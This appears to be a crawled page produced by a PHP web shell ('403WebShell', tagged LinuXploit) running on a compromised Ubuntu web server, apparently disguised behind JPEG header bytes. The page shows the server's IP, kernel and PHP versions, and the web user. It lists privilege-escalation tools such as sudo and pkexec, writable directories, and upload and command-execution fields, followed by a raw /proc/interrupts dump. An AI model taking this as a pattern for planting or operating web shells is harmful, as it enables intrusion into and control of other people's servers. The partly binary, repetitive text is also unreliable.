????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.222
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/self/root/proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/self/root/proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
   0:         20          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      timer
   8:        323          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      rtc0
   9:          2          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   acpi
  10:        109          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      ipmi_si
  22:         75          0         25          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb2
  23:        194          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb1
  72:          0          0          0          0          0          0          0          0          0          0          0          0  DMAR_MSI-edge      dmar0
  73:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  74:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  75:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  76:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  77:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  78:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  79:   64916865   58609448   52120462   70094106   94548689  117568458          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  80:   50935242   46496658   31958917   35429082   46641191   58642872          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  81:   49024201   41005358   33155462   33825414   45745308   64795327          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  82:   70691918   50859896   45245428   45548251   68908352   86152655          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  83:   83486689   53193805   47481535   63347765   70229074  104257030          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  84:  115860962   48819423   60958708   78674156  112409843  121015812          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  85:    4246245    8703904    3826203    4141814    5571930    4855224          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  86:    4006816    6450776    3203895    3338109    5052592    4267025          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  87:    3626029    6370935    3103822    3026355    3843510    4063371          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  88:    5397708    6874586    3555036    3261803    5447367    4718113          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  89:    5491815    6681086    3802633    4796979    4447912    5237294          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  90:    6432058    6667366    3996718    4633722    6681735    4888874          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  91:    8519420   16074004    9360820    5800889   13219071   17357296          0          0          0          0          0          0  IR-PCI-MSI-edge      ahci
  92:         12          0 1990922578          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-tx-0
  93:          1          0          0 2891718147          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-1
  94:          1          0          0          0 2092279070          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-2
  95:          1          0          0          0          0 2494259004          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-3
  96: 3081799842          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-4
 NMI:    3292392    2994911    2975486    3077416    3198405    3298301    1683820    1699221    1720806    1689080    1695143    1680516   Non-maskable interrupts
 LOC: 3637448154 2918199003 2911893993 3480455629 3444827477 3636040115 4107569280 3930966490 3961501825 3897203289 3920474169 3889065195   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:    3292392    2994911    2975486    3077416    3198405    3298301    1683820    1699221    1720806    1689080    1695143    1680516   Performance monitoring interrupts
 IWI:  151234004  217009550  192279646   51066588  131123454  155550465   36305180   41022478   38147676   48374084   45652513   41362115   IRQ work interrupts
 RTR:         11          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:  446015611  333148893  305766372  483367218  382705640  386548830  138914818  139308239  136393209  135459130  135281877  134766657   Rescheduling interrupts
 CAL:   32484132   26265822   24802920   27918403   31364308   33111050   11544285   12317378   12668701   12631411   12812870   11937017   Function call interrupts
 TLB:   28915536   23312175   21851952   24739618   27943865   29443247   10710360   11450601   11826113   11786079   11973570   11074083   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:     480131     480131     480131     480131     480131     480131     480131     480131     480131     480131     480131     480131   Machine check polls
 ERR:          0
 MIS:          0

Youez - 2016 - github.com/yon3zu
LinuXploit